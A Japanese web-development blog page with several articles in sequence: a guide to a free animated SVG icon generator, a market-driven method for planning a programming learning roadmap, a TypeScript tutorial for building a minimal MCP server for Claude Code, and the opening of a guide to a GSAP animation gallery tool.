ジェネレーターとは、アニメーション付きのアイコンを色・サイズ・速さ・ループ回数まで指定して、SVGとPNGでそのままダウンロードできる無料ツールです。収録しているアイコンは12カテゴリ300種で、会員登録もインストールも要りません。 チェックマークがすっと描かれる、ベルが揺れる、読み込み中のリングが回る——こうした小さな動きは、あると画面の印象が変わります。ところが実際に用意しようとすると、アイコン素材サイトは静止画しか置いていない、動かすにはCSSやJavaScriptを自分で書く必要があるという段差にぶつかります。ライブラリを入れて設定を書き、動かない原因を切り分けて——という下ごしらえは、アイコンを1つ置きたいだけの場面には重すぎます。 この記事では、CodeQuest.workが公開している無料ツール「動くアイコン ジェネレーター」の使い方を、実際の操作の流れに沿って解説します。あわせて、ダウンロードしたアニメSVGがなぜ画像として貼るだけで動くのかという仕組みと、サイトへの貼り方、動かしすぎないための設計の考え方までまとめました。 動くアイコン ジェネレーターを使ってみる（無料） 動くアイコン ジェネレーターとは 動くアイコン ジェネレーターは、ブラウザだけで完結するアイコンの書き出しツールです。基本の流れは「選ぶ → 整える → ダウンロード」の3ステップだけで、一覧に並んだアイコンはその場で動いて確認できます。コードを書く必要はなく、手に入るのは完成したファイルそのものです。 似たジャンルのツールとの一番の違いは、渡されるのがコードではなくファイルであることです。CSSアニメーションのサンプル集は「コードをコピーして自分のHTMLに組み込む」形式ですが、このツールは動きの情報をファイルの中に閉じ込めた状態で書き出します。そのため、CSSファイルを触れないブログサービスや、記事本文に画像しか置けない環境でも、画像として貼るだけで動きます。 アイコンの生成もPNGへの変換もすべてブラウザの中で処理されるため、画像がサーバーへ送信されることはありません。回数制限もなく、必要なぶんだけ書き出せます。ライセンスは商用利用可・クレジット表記不要・改変自由で、禁止しているのはアイコンそのものを素材集としてまとめて再配布・販売することだけです。 このツールでできること 設定パネルで調整できる項目と、書き出せる形式は次のとおりです。 項目選べる内容書き出しへの反映アイコンの色カラーピッカーで自由に指定（初期値は青紫）反映される書き出しサイズ64px（小）／128px（中）／256px（大）反映される速さゆっくり／標準／速いアニメSVGに反映されるループ回数ずっと繰り返す／3回／1回アニメSVGに反映される形式アニメSVG／静止SVG／PNGダウンロードボタンで選ぶ ここで押さえておきたいのは、速さとループ回数がプレビュー用の設定ではなく、書き出すファイルの中身そのものを変えるという点です。「ループ1回」を選んで書き出したアニメSVGは、貼り付けた先でも1回だけ再生して止まります。あとからCSSで制御し直す必要はありません。 設定はブラウザに保存されるため、次に開いたときも前回の色やサイズのまま続きから作業できます。初期状態に戻したいときは、設定パネルのリセットボタンを押してください。 使い方は3ステップ 一覧からアイコンをクリックして選ぶ（カテゴリのタブと検索窓で絞り込める） 設定パネルで色・書き出しサイズ・速さ・ループ回数を決める 「アニメSVG」「静止SVG」「PNG」のいずれかのボタンでダウンロードする 一覧のカードは、画面に入ったタイミングで3回だけ再生されて止まります。300種すべてが同時に動き続けると目が休まらないため、あえて止める仕様にしてあります。もう一度見たいときはカードにマウスを乗せるか、一覧の上にある「すべて再生」を押してください。設定パネルのプレビューだけは、選んだループ回数のとおりに再生されます。 探し方は2通りあります。カテゴリのタブで絞り込む方法と、検索窓に言葉を入れる方法です。検索は日本語名と英語名の両方に対応しているため、「送信」でも「send」でも同じアイコンにたどり着けます。名前が思い浮かばないときはカテゴリから、名前が決まっているときは検索から入るのが早い進め方です。 収録アイコンの見取り図 アイコンは12のカテゴリに分かれています。どこに何があるかを先に把握しておくと、探す時間がかなり短くなります。 カテゴリ収録数主な内容操作38コピー、ダウンロード、アップロード、送信、検索、編集、削除状態・通知32チェック、エラー、警告、ベル、読み込み中、時計、電池ナビ28矢印、メニュー、ホーム、外部リンク、ページ送りファイル・データ28書類、フォルダ、画像、グラフ、データベースUI・装飾26設定、切り替え、カーソル、装飾のきらめきメディア26再生、一時停止、音量、カメラ、マイクEC・お金24カート、クレジットカード、値札、配送、袋コミュニケーション24メール、吹き出し、電話、共有、ユーザー開発・技術22コード、ターミナル、ブランチ、バグ、サーバー天気・自然20晴れ、雨、雪、雲、月、風デバイス18スマートフォン、パソコン、時計、プリンター人・体・健康14人物、心臓、歩く、睡眠、体温 動きの語彙は、線を描く・回る・脈打つ・揺れる・弾む・点滅する・滑るの7種類に絞ってあります。カテゴリをまたいでも同じ質感で動くのはこのためで、1つの画面に複数のアイコンを並べてもばらつきません。逆に言えば、派手さで目を引くタイプの素材ではなく、UIの中に馴染ませて使うことを前提にした設計です。 アニメSVG・静止SVG・PNGの使い分け 3つの形式は用途がはっきり分かれています。迷ったときは、この表の「向いている場面」から選んでください。 形式動きファイルの目安向いている場面アニメSVG動く1KB前後自分でファイルを置けるサイト。拡大しても劣化しない静止SVG動かない0.4KB前後デザインツールへの読み込み、印刷物。ベクターのまま編集できるPNG動かない選んだサイズによるSVGが使えない環境。背景は透過している アニメSVGの軽さは、実際に書き出してみると分かります。収録している300種の平均はおよそ1KB、もっとも小さいものは0.6KB弱で、複雑なもので3KB台です。ページ内に数個置いても表示速度への影響はほとんどありません。図形の座標と動きの指示だけを持つテキストファイルなので、同じ見た目をGIFや動画で用意した場合とは桁が変わります。 PNGを選ぶときは、表示したいサイズの2倍で書き出すのが基本です。48pxで表示するなら128px、128pxで表示するなら256pxを選んでおくと、高精細ディスプレイでも輪郭がぼやけません。SVGにはこの心配がなく、どこまで拡大しても線がなめらかなままです。 なぜ画像として貼るだけで動くのか ダウンロードしたアニメSVGは、外部のCSSもJavaScriptも読み込まずに動きます。理由は単純で、動きの指示がファイルの中に書き込まれているからです。実際に書き出したチェックマークのアニメSVGは次のような中身になっています。 <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" stroke="#6366f1" color="#6366f1" width="128" height="128"> <style> .p-ring { animation: kf-check-ring 1.10s ease-in-out infinite both; } .p-tick { animation: kf-check-tick 1.10s ease-in-out infinite both; } @keyframes kf-check-ring { 0% { stroke-dashoffset: 1; } 55% { stroke-dashoffset: 0; } 100% { stroke-dashoffset: 0; } } @keyframes kf-check-tick { 0% { stroke-dashoffset: 1; } 45% { stroke-dashoffset: 1; } 85% { stroke-dashoffset: 0; } 100% { stroke-dashoffset: 0; } } </style> <circle cx="12" cy="12" r="9" pathLength="1" stroke-dasharray="1" class="p-ring" /> <path d="M7.8 12.4 L10.7 15.3 L16.4 9.2" pathLength="1" stroke-dasharray="1" class="p-tick" /> </svg> SVGは画像でありながらHTMLに似た構造を持つため、<style>タグを内側に置けます。ここに@keyframesを書いておけば、外から何も読み込ませずに動きが完結します。CSSアニメーションの書き方そのものは通常のWebページと同じで、基礎から確認したい場合はCSSアニメーション徹底解説が参考になります。 線が描かれて見える仕掛け チェックマークが手書きのように描かれる動きは、線を消したり足したりしているわけではありません。破線の間隔を利用して、線を隠した状態から徐々に見せているだけです。仕掛けは3つの属性の組み合わせにあります。 属性役割pathLength="1"線の長さを1として扱わせる。実際のパス長を測らなくてよくなるstroke-dasharray="1"線と空白を長さ1ずつの破線にするstroke-dashoffset破線の開始位置をずらす。1なら全部隠れ、0で全部見える あとはstroke-dashoffsetを1から0へ動かせば、線が伸びていくように見えます。円のリングを0〜55%で描き、チェックの線を45〜85%で描く——というように区間をずらして重ねているのが、先ほどのコードの2つの@keyframesです。この手法をゼロから自分で書く方法はSVGストロークアニメーションの作り方で解説しています。 画像として読み込まれたSVGの制限 ここは「動く仕組み」の裏返しとして知っておく価値があります。MDNの解説によると、img要素やbackground-imageから読み込まれたSVGには、セキュリティ上の制限としてJavaScriptが無効になり、外部のリソース（画像やスタイルシート）を読み込むことができません（出典: MDN Web Docs「画像としての SVG」）。 つまり、外部CSSに書いたスタイルはSVGの中身には届きません。ページ側のCSSで色を変えようとしても効かないのはこのためで、色を変えたいときはツールで色を指定して書き出し直すか、ダウンロードしたファイルのstrokeとcolorを直接書き換えます。この制限は画像として読み込んだときだけのもので、SVGのコードをHTMLに直接書き込んだ場合には当てはまりません。 サイトへの貼り方 ダウンロードしたファイルをサーバーに置いたら、あとは普通の画像と同じ扱いです。追加のライブラリも初期化のコードも必要ありません。 ### [学習ロードマップの作り方｜未経験は案件から逆算して順序を決める](https://codequest.work/learning-roadmap-from-market-needs/) 学習ロードマップの作り方は、いま実際に発注されている案件を見て、そこから逆算するのが出発点です。作りたいものだけで順序を決めると、趣味の学習計画になってしまいます。市場で求められているものと自分が作りたいものが重なる場所を見つけて、そこへ向かう順番に並べ直す。これが手順の骨格です。 プログラミングを学び始めた人から一番よく聞くのが「何をどの順番でやればいいか分からない」という声です。ネットにはロードマップが無数にありますが、読んでも迷いが消えないのは、それらが網羅的すぎるからではありません。市場と切り離されているからです。「HTMLの次はCSS、その次はJavaScript」と言われても、それがどの仕事に繋がるのかが見えないままだと、自分がいまどこにいるのか判断できません。 この記事では、未経験からWeb制作・プログラミングを学ぶ人が、自分専用の学習ロードマップを作る手順を5ステップで解説します。誰かのロードマップをなぞるのではなく、自分で引けるようになるための手順です。 なぜ配られたロードマップで迷子になるのか 世の中のロードマップは、たいてい「この職種になるには、これらを全部覚える必要がある」という形で書かれています。網羅されているぶん正確ですが、未経験の人が読むとゴールが遠すぎて、いまやるべき1つが決まりません。 加えて、こうしたロードマップは職種が先に決まっている前提で書かれています。フロントエンドエンジニアのロードマップ、バックエンドエンジニアのロードマップ、というように。でも未経験の段階では、その職種が自分に合うのかも、そもそも仕事があるのかも分かりません。決められない前提で作られた地図を渡されて、決められないまま歩き出すことになります。 順序が決まらない本当の理由は、判断の材料が足りないことです。そして足りていない材料は、たいてい「その勉強が、どんな仕事に繋がるのか」という情報です。これは教材の中には書かれていません。市場を見に行くしかありません。 なお、どんな職種がどこまでを担当するのかを先に俯瞰したい場合は、作りたい成果物から逆引きするWeb業界の職種一覧が地図として使えます。この記事は「その地図の上で、自分はどの順番で歩くか」を決める手順です。 ステップ1：いま発注されている案件を見る 最初にやるのは勉強ではありません。市場を見ることです。未経験の人が見るべき市場は、求人サイトではなくクラウドソーシングです。 理由は3つあります。求人票が「会社が欲しい人材像」という抽象的な条件で書かれているのに対して、クラウドソーシングの案件は「いま誰かが実際にお金を払って解決したい具体的な困りごと」だからです。実務経験を問われない案件が多く、未経験でも応募の可能性がある。そして金額が書いてあるので、その仕事の相場が分かります。 見に行く先は、国内の主要なクラウドソーシングで構いません。クラウドワークス、ランサーズ、ココナラあたりが代表的です。会員登録しなくても案件の一覧と内容は読めます。まずは1つだけ開けば十分です。 やることはシンプルです。興味のあるカテゴリの案件を20件ほど、応募せずに読むだけ。そして次の3つをメモします。 繰り返し出てくる技術名 — WordPress、HTML/CSS、JavaScript、Shopifyなど。何度も見る名前が、その市場で需要のある技術です 成果物の形 — LP1枚なのか、サイト全体なのか、既存サイトの修正なのか。作るものの単位が分かります 金額の幅 — 同じような案件で、安いものと高いものの差が何から来ているか。たいてい「対応範囲の広さ」です 20件も読むと、驚くほどはっきり傾向が見えます。「思ったよりWordPressの案件が多い」「デザインまで求められる案件と、コーディングだけの案件がある」といったことが、自分の目で確認できます。この時点で、学ぶべき技術の候補が勝手に絞られます。誰かに教わった順序ではなく、市場が示した順序です。 ここで大事なのは、応募できるかどうかを気にしないことです。いまの実力で受けられる案件を探しているのではありません。市場が何を求めているかを調べています。読むだけなら失うものは何もありません。 ステップ2：作りたいものを1つだけ決める 市場の傾向が見えたら、次は市場が求めているものと、自分が作りたいものが重なる場所を探します。ここで作るものを1つ決めます。 市場だけを見て決めると続きません。興味のないものを作り続けるのは苦痛だからです。逆に、作りたいものだけで決めると仕事に繋がりません。両方が重なるところを選ぶのが、続くロードマップの条件です。 市場で多かったもの自分の興味決める成果物の例LP制作の案件が多いデザインが好き架空の商品のLPを1枚、デザインからコーディングまでWordPress案件が多い文章を書くのが好き自分のブログをWordPressで構築して公開するサイト修正の案件が多い細かい調整が苦にならない既存の無料テンプレートを改造して別物にする簡単なツール制作がある仕組みを考えるのが好きブラウザで動く小さなツールを1つ作る コツは小さくすることです。「ECサイトを作る」ではなく「商品ページを1枚作る」。大きすぎる目標は、分解の段階で挫折します。1〜2週間で形になる大きさが目安です。 ステップ3：成果物を機能に分解する 作るものが決まったら、それを部品に割ります。「LPを1枚作る」なら、こう分解できます。 ページ全体の骨組みを作る（見出し・段落・画像の配置） 見た目を整える（色・余白・文字サイズ） スマホで崩れないようにする ボタンを押したときの動きを付ける 問い合わせフォームを設置する インターネット上に公開する 分解のポイントは、技術名ではなく「できること」で書くことです。「HTMLを学ぶ」ではなく「ページの骨組みを作る」。技術名で書くと、どこまでやれば終わりなのかが分からなくなります。できることで書けば、できたかどうかを自分で判定できます。 この分解ができると、それがそのまま順序になります。骨組みがないと見た目は整えられないし、見た目が決まらないとスマホ対応もできない。作る順番は、部品の依存関係が教えてくれます。誰かに順序を教わる必要がなくなるのは、この段階です。 ステップ4：分解を学習単位に変換する 部品が並んだら、それぞれに「これを作るために必要な知識」を紐づけます。ここで初めて技術名が出てきます。 作りたい部品必要な知識どこまでやれば十分かページの骨組みHTMLの基本タグ見出し・段落・画像・リンクが書ければ十分見た目を整えるCSSの基本プロパティ色・余白・文字サイズ・並べ方が変えられれば十分スマホ対応メディアクエリ幅で切り替えができれば十分ボタンの動きJavaScriptのDOM操作クリックで表示を変えられれば十分公開するサーバーとドメインの基礎ファイルをアップして表示できれば十分 この表で一番大事なのは右の列です。「どこまでやれば十分か」を先に決めておかないと、教材を最後まで読まないと不安になり、いつまでも次に進めません。作るものが決まっているから、必要な範囲も決まる。これが市場から逆算する方式の一番の利点です。 環境をどう用意するかで止まってしまう場合は、ブラウザだけで始めるプログラミング練習環境5選で先に手を動かせる状態を作ってから戻ってきてください。環境構築は学習ではなく準備です。ここで何日も使うのはもったいないです。 ステップ5：「作れたか」で進捗を判定する ロードマップが機能するかどうかは、進捗の測り方で決まります。「教材を何ページ読んだか」で測ると、読んでいるのに作れない状態に気づけません。測るべきは作れたかどうかです。 判定はシンプルで、教材を閉じた状態で、その部品を作れるかを試すだけです。作れなければ、その単位はまだ終わっていません。作れたら次へ進みます。読み返した回数は関係ありません。 練習問題で「作れるか」を試す 自分で判定用の課題を考えるのは難しいので、練習問題を使うのが早いです。CodeQuestの練習問題はこの順序で並べてあります。上から順に、教材を閉じた状態で解けるかを試してください。解けない単位が見つかったら、そこが戻る場所です。 HTML基礎練習問題｜ページの骨組みが作れるか CSS初心者向け練習問題｜見た目を変えられるか JavaScript練習問題23選｜基礎文法が書けるか JavaScript DOM操作の練習問題｜クリックで表示を変えられるか JavaScript 非同期処理の練習問題｜外部からデータを取れるか JavaScript 配列メソッド練習問題｜データを加工できるか Node.js練習問題集｜サーバー側の処理が書けるか 全部やる必要はありません。ステップ4の表に出てきた単位だけで十分です。LPを作るのが目標なら、1〜4まででゴールに届きます。5以降は次の成果物のときに戻ってくればいい範囲です。 ひと通り作れるようになったら、次は既存のサイトを真似て作る練習が効きます。模写コーディング一覧に難易度順で課題を用意しています。実際の案件に近い形で、自分の到達度を測れます。 ロードマップを更新するタイミング 一度作ったロードマップは、そのまま使い続けるものではありません。成果物が1つ完成したら、ステップ1に戻ります。もう一度クラウドソーシングの案件を20件読む。前に読んだときとは、見え方がまったく違うはずです。 1周目は「何が書いてあるか分からない」だった案件が、2周目には「これは自分にもできそう」「これは足りない技術がある」と判断できるようになります。読める案件が増えることが、実力がついた証拠です。そして読めるようになった案件が、次のロードマップの起点になります。 この往復が回り始めると、「次に何をやればいいか分からない」という状態には戻りません。市場が次のお題を出してくれるからです。 よくある失敗 失敗パターン何が起きているか抜け方言語選びで止まる始める前に最適解を出そうとしている案件数が多い技術を選ぶ。1つ作れば次は自分で選べるチュートリアルを終わらせ続ける作るものが決まっていないステップ2に戻って成果物を1つ決める教材を完璧に理解しようとする「どこまでやれば十分か」が未定ステップ4の表の右列を先に書く環境構築で何日も溶かす準備を学習だと思っているブラウザだけで動く環境から始めるロードマップを作って満足する計画づくりが目的化しているその日のうちに最初の部品に着手する いちばん多いのは2つ目です。チュートリアルは終わらせると達成感がありますが、終わらせても作れるようにはなりません。作るものが決まっていない状態で教材だけを消化していくと、いつまでも「まだ足りない」と感じ続けます。足りないのは知識ではなく、作る対象のほうです。 よくある質問 Q. 学習ロードマップとは何ですか？ 到達したい成果物から逆算して、学ぶ項目を順序づけた計画のことです。作り方は「市場を見る→作るものを決める→部品に分解する→必要な知識を紐づける→作れたかで判定する」の5ステップになります。 Q. なぜ求人サイトではなくクラウドソーシングを見るのですか？ 求人票は「会社が欲しい人材像」という抽象的な条件で書かれているのに対し、クラウドソーシングの案件は「いま誰かがお金を払って解決したい具体的な困りごと」だからです。未経験の段階では、後者のほうが必要な技術を特定しやすくなります。 Q. どのくらいの期間で作れるようになりますか？ 成果物の大きさによります。だからこそステップ2で「1〜2週間で形になる大きさ」に絞ることを勧めています。期間から逆算するのではなく、作るものを小さくして、完成までの距離を短くするのが先です。 Q. 案件を見ても専門用語が分からず判断できません それで正常です。1周目は「何度も出てくる単語を書き出す」だけで十分で、意味が分からなくても構いません。 ### [MCPサーバーの作り方｜Claude Codeから呼べる自作ツールを実装する](https://codequest.work/mcp-server-build-guide/) MCPサーバーの作り方は、公式SDKでツールを1つ定義して、Claude Codeに登録するだけです。最小構成なら20行ほどで動きます。難しいのは実装そのものではなく、「そもそも自作すべきか」の判断と、繋がらないときの原因切り分けのほうです。 ただし、いま出回っている解説の多くはそのまま動きません。MCPは2026年7月末に仕様もSDKも世代交代しており、パッケージ名・登録API・プロトコルの前提が入れ替わったからです。「コピペしたのに動かない」の大半は、書いた人が悪いのではなく情報が古いことが原因です。 この記事では、2026年8月時点の公式仕様とSDKに沿って、自作MCPサーバーをゼロから作ってClaude Codeで動かすまでを一本道で解説します。掲載しているコードとコマンドは、すべて実際に手元で実行して動作を確認したものです。 作る前に、作らない選択肢を潰す MCPサーバーは「Claude Codeに新しい能力を足す」ための仕組みですが、能力を足す方法はMCPだけではありません。むしろ多くのケースは、もっと軽い手段で片付きます。自作に入る前に、次の表で自分の要件がどこに当たるかを確認してください。 やりたいこと適した手段自作MCPは必要か決まった手順をまとめて実行させたいSkill不要よく使う指示を短縮したいスラッシュコマンド不要編集後に自動でフォーマットしたいHooks不要Figma・Notion・DevToolsなど既存サービスに繋ぎたい既製のMCPサーバー不要社内APIや独自DBをAIから叩かせたい自作MCPサーバー必要会話のたびに同じ外部データを参照させたい自作MCPサーバー必要 判断の軸はシンプルで、「AIに毎回コードを書かせるか、道具として固定するか」です。手順が言葉で説明できる範囲ならSkillで足ります。外部システムと通信する必要があり、しかも引数と戻り値の形を固定したいなら、そこで初めてMCPサーバーの出番になります。SkillとMCPの使い分けはClaude Codeのスキル・ループ・ワークフローの使い分けで詳しく整理しています。 接続先が有名サービスなら、探せばたいてい公式のMCPサーバーが存在します。作り始める前にClaude CodeのMCP連携ガイド一覧で既製品を確認してください。既製で足りるなら、保守する対象を1つ増やさずに済みます。 既製のMCPサーバーが無い場合でも、すぐ自作に進む必要はありません。操作したいアプリ自身がスクリプトAPIを持っているなら、そこを直接叩くほうが速いことがあります。たとえばPhotoshopに公式MCPはありませんが、macOSのosascript経由でスクリプトを送り込めます。手順はClaudeでPhotoshopを自動操作する方法にまとめています。 MCPサーバーが提供できる3つの機能 実装に入る前に、何を作れるのかを押さえておきます。MCP公式仕様（2026-07-28版）によると、サーバーが提供できるプリミティブは3種類です。 プリミティブ制御主体中身主なメソッドTools（ツール）モデル制御モデルが呼び出せる関数。DB照会やAPI呼び出しなどtools/list／tools/callResources（リソース）アプリケーション主導モデルに文脈を与えるデータ。URIで一意に識別されるresources/list／resources/readPrompts（プロンプト）ユーザー制御ユーザーが明示的に選んで使うテンプレートprompts/list／prompts/get 「制御主体」は、その機能を誰が使うと決めるかを表します。Toolsはモデルが文脈から判断して自動的に呼びます。Resourcesはホストアプリが必要に応じて読み込みます。Promptsはユーザーが自分で選びます。自作の入口としては、まずToolsを1つ作るのが最短です。 なお公式仕様はToolsについて、信頼性と安全性のために「ツールの実行を拒否できる人間が常にループに入っているべきである」と明記しています。作る側も、勝手に実行されて困る操作をツールにしない前提で設計する必要があります。 どの方式・どの言語で作るか 実装に入る前に、2つだけ決めておくことがあります。どのトランスポート（通信方式）で繋ぐか、どの言語で書くかです。どちらも選択肢は実質2つずつしかないので、迷う時間は短くて済みます。 トランスポートは stdio か Streamable HTTP MCP公式仕様（2026-07-28版）が標準トランスポートとして定義しているのは、stdioとStreamable HTTPの2つだけです。かつて独立した方式だったHTTP+SSEは、プロトコルバージョン2025-03-26の時点ですでに非推奨とされ、2026-07-28版で正式に「Deprecated」へ再分類されました。公式の移行先はStreamable HTTPです。 方式動き方向いている用途stdioクライアントがサーバーをサブプロセスとして起動し、標準入出力でやり取りするローカルで動かす個人用・チーム用ツール。自作の入門はこちらStreamable HTTPMCPエンドポイントへのHTTP POSTで通信し、応答はJSONまたはSSEストリームで返る複数人・複数マシンから使う共有サーバー ここで誤解されやすいのが「SSEは廃止された」という言い方です。廃止されたのは独立したトランスポート方式としてのHTTP+SSEであって、SSEという技術自体は消えていません。公式仕様によると、Streamable HTTPの応答はJSONオブジェクトか、リクエストに紐づくSSEストリームのいずれかで返ります。内部では現役です。 言語はTypeScriptかPython 公式SDKはTypeScriptとPythonの両方が用意されています。どちらも2026年7月末にメジャーバージョンが上がり、パッケージ名やクラス名が変わりました。ここを間違えると最初のimportで詰まります。 言語現行パッケージ旧世代（使わない）TypeScript@modelcontextprotocol/server@modelcontextprotocol/sdkPythonmcp の MCPServer同パッケージの FastMCP（改称前の名前） この記事ではTypeScriptで進めます。Node.jsが入っていればビルド環境をほぼ追加せずに始められること、Claude Code自体がNode環境で動くことが理由です。Pythonでも構造は同じで、デコレータでツールを登録する形になります。 プロジェクトを初期化する 作業用のディレクトリを作り、依存を入れます。SDK v2はNode.js 20以上とZod 4.2以上を必要とします。 mkdir my-mcp-server && cd my-mcp-server npm init -y npm pkg set type=module npm install @modelcontextprotocol/server zod npm install -D typescript @types/node npm pkg set type=module を忘れないでください。SDK v2はESMファーストで、CommonJSのままだとimportで落ちます。次に tsconfig.json を置きます。 { "compilerOptions": { "target": "ES2022", "module": "Node16", "moduleResolution": "Node16", "outDir": "build", "rootDir": "src", "strict": true, "esModuleInterop": true, "skipLibCheck": true }, "include": ["src/**/*"] } module と moduleResolution を Node16 にしておくのがポイントです。SDK v2はサブパスexports（@modelcontextprotocol/server/stdio のような書き方）を使っているため、古いモジュール解決だと型が見つからずビルドが通りません。 最小のサーバーを実装する src/index.ts を作ります。ここではバンドルサイズを分析するツールを1つ持つサーバーを例にします。 import { McpServer } from "@modelcontextprotocol/server"; import { StdioServerTransport } from "@modelcontextprotocol/server/stdio"; import * as z from "zod"; const server = new McpServer({ name: "my-custom-server", version: "1.0.0", }); server.registerTool( "analyze-bundle", { description: "バンドルサイズを分析して改善点を提示", inputSchema: z.object({ entryPoint: z.string().describe("エントリーポイントのパス"), }), }, async ({ entryPoint }) => ({ content: [{ type: "text", text: `分析結果: ${entryPoint}` }], }) ); const transport = new StdioServerTransport(); await server.connect(transport); これで全部です。McpServer を作り、registerTool() でツールを登録し、stdioで繋ぐ。この3つしかありません。ビルドして動かします。 npx tsc build/index.js ができれば成功です。Claude Codeに繋ぐ前に、ターミナルだけで動作確認できます。標準入力にJSON-RPCのリクエストを流し込む方法です。 echo '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' | node build/index.js 登録したツールがJSONで返ってくれば、サーバーとしては完成しています。ここで返ってこないなら、Claude Codeに繋いでも動きません。先にこの段階で切り分けておくと、あとのデバッグがとても楽になります。 inputSchemaの書き方で精度が決まる 自作MCPサーバーで一番手を抜いてはいけないのが description と inputSchema です。ここはAIが読む仕様書だからです。人間向けのドキュメントではなく、モデルがツールを呼ぶかどうかを判断し、引数に何を入れるかを決めるための唯一の手がかりになります。 inputSchema: z.object({ entryPoint: z .string() .describe("解析するエントリーポイントの相対パス。例: src/main.ts"), threshold: z .number() .min(0) .default(100) .describe("警告を出すサイズのしきい値（KB）。省略時は100"), format: z .enum(["summary", "detailed"]) .default("summary") .describe("出力の詳しさ。summaryは合計のみ、detailedはファイル別"), }) 書き方のコツは3つです。 単位と例を書く — 「しきい値」ではなく「しきい値（KB）。 ### [GSAPアニメーションをコピペで使える無料ツール｜ScrollTrigger対応100種](https://codequest.work/gsap-animation-gallery-tool/) GSAPアニメーション ギャラリーとは、GSAPで書ける動きをブラウザ上のカードで再生して確かめ、CDNの読み込みを含む完全版コードをワンクリックでコピーできる無料ツールです。基本のトゥイーンからタイムライン、スクロールに連動するScrollTriggerまでを同じ画面に並べてあり、会員登録もインストールも要りません。 「スクロールで要素をふわっと出したい」「複数の動きを順番に繋ぎたい」——GSAPは公式ドキュメントが充実している一方で、やりたい表現の名前が分からないと検索そのものができないという入口の壁があります。しかもGSAPのコードは貼っただけでは動かず、ライブラリの読み込み・スクリプトの実行順・セレクタの一致という3点が揃って初めて画面が動きます。動くかどうか分からないコードの下ごしらえに時間を取られるのは、試作段階ではかなりの負担です。 この記事では、CodeQuest.workが公開している無料ツール「GSAPアニメーション ギャラリー」の使い方を、実際の操作の流れに沿って解説します。あわせて、どこまでCSSアニメーションで足りて、どこからGSAPを持ち出すべきかという判断基準と、コピーしたコードが動かないときの確認手順もまとめました。 GSAPアニメーション ギャラリーを使ってみる（無料） GSAPアニメーション ギャラリーとは GSAPアニメーション ギャラリーは、ブラウザだけで完結するGSAPの試用＆コード取得ツールです。基本の流れは「動きを見る → 選ぶ → コピペ」の3ステップだけで、カードの上でその場に動きが再生されます。気に入ったものは「コードをコピー」を押すだけで、GSAP本体のCDN読み込みまで含んだ状態のコードが手に入ります。 このツールの要点は、貼り付けたその場で動く状態でコードが渡されることです。GSAPのサンプルは、解説記事やCodePenから持ってくると「ライブラリの読み込みが省略されている」「ScrollTriggerの登録行だけ抜けている」といった欠けが起きがちで、動かない原因の切り分けに時間を取られます。ギャラリーが出力するコードは読み込みと登録を含んだ形なので、まず動く状態から自分のマークアップに寄せていく進め方ができます。 なお、収録されているのはJavaScript（GSAP）で動かす表現です。ホバーや表示直後の演出だけで足りる場合は、姉妹ツールを解説したCSSアニメーションをコピペで使える無料ツールのほうが目的に合います。手法そのものを比較検討している段階なら、Webアニメーション完全ガイド｜Animate.css・AOS・IO・GSAP 4手法を比較解説から読むと選択肢の地図が先に手に入ります。 このツールでできること 機能はシンプルに絞られています。登録やインストールは不要で、ページを開いた時点からすべての機能が使えます。 カード上で動きを再生して確認できる（「もう一度」で最初から再生し直せる） CDNの読み込みを含む完全版コードをワンクリックでコピーできる カテゴリのチップと検索で目当ての表現を絞り込める アクセント色とサブ色を変更でき、カード上のデモに即座に反映される カードのタイトルをクリックすると、左のパネルにそのサンプルのコードが表示される スクロール連動のサンプルは、カードの中だけをスクロールして挙動を確認できる 色の設定はブラウザに保存されるため、次に開いたときも自分のサイトに寄せた配色のまま比較できます。ただしコピーされるコードに色が反映されるのは、そのサンプルが色指定を含む場合だけです。出力されるコードは構造に必要な指定だけに絞られているため、装飾は自分のCSSに任せる前提の設計になっています。 使い方は3ステップ 操作は絞り込み・確認・コピーの3つです。順番に見ていきます。 カテゴリのチップか検索で、目当てのサンプルを絞り込む カードで動きを確認する（気になるものはタイトルをクリックしてコードを左パネルに表示） 「コードをコピー」を押して、自分のHTMLに貼り付ける 貼り付けたあとに必要になるのは、クラス名を自分のマークアップに合わせて書き換える作業だけです。サンプルはデモ用のクラス名で書かれているため、そのままでは自分のHTMLの要素にヒットしません。逆に言えば、動かないときに真っ先に疑うべきもここになります。 各項目の細かい設定や、画面の見方の詳細は、ツール側の使い方・FAQページにまとめてあります。 収録カテゴリの見取り図 サンプルは7つのカテゴリに分かれています。GSAPで何ができるのかを掴む地図としても使えるので、最初は各カテゴリを1つずつ再生してみるのがおすすめです。 カテゴリ主な内容向いている場面基本トゥイーンフェード、スライド、スタガー、イージング比較、ぼかし、キーフレーム1要素の登場・退場を整えたいタイムライン順次再生、ラベル、入れ子、再生制御、速度変更、シーク、無限マーキー複数の動きを順番に繋ぎたいScrollTriggerフェードイン、scrub、パララックス、プログレスバー、batch、snapスクロール位置に動きを紐づけたいスクロール演出横スクロール、カードの重なり、コマ送り、読了ハイライト、目次連動1画面を使い切る見せ場を作りたいテキスト・数値1文字ずつ、タイプライター、シャッフル、グリッチ、カウントアップ見出しや数字を主役にしたいSVG・図形線描画、チェックマーク、円グラフ、図形変形、棒グラフ、署名ロゴやグラフを描き出したいインタラクションマグネットボタン、カーソル追従、チルト、ドラッグ、画像比較操作への反応を作りたい この並びは、そのままGSAPの学習順としても素直です。基本トゥイーンで to と from の違いを掴み、タイムラインで順番の制御を覚え、そのうえでScrollTriggerに進むと、スクロール連動が「タイムラインの再生位置をスクロール量に結びつけたもの」だと理解できます。 CSSアニメーションとGSAPの使い分け GSAPは強力ですが、すべての動きをGSAPで書く必要はありません。判断の分かれ目は「動きのきっかけ」と「途中で操作するかどうか」の2点です。まずは両者の性格を並べて比べます。 判断軸CSSアニメーションで足りるGSAPを使う動きのきっかけホバー、クラス付与、表示直後スクロール位置、ドラッグ、任意のタイミング動きの数1〜2個の単発複数を順番に繋ぐ、途中で重ねる途中の操作基本は最後まで再生する再生・停止・逆再生・任意位置へのシークができる値の指定開始と終了を書く現在値からの相対指定（"+=100" など）が書ける読み込むもの追加なしgsap.min.js（必要に応じてプラグイン） CSSで足りる場面 ボタンのホバー、メニューの開閉、ローディングのスピナー、要素がふわっと出るだけの登場演出——このあたりはCSSの transition と @keyframes で完結します。ライブラリを読み込まない分だけページは軽く、JavaScriptが失敗しても表示が壊れません。書き方に不安がある場合はCSSアニメーション徹底解説｜@keyframes の基本から応用までで基礎を固めてから戻ってくると、GSAPで書く部分の判断も速くなります。 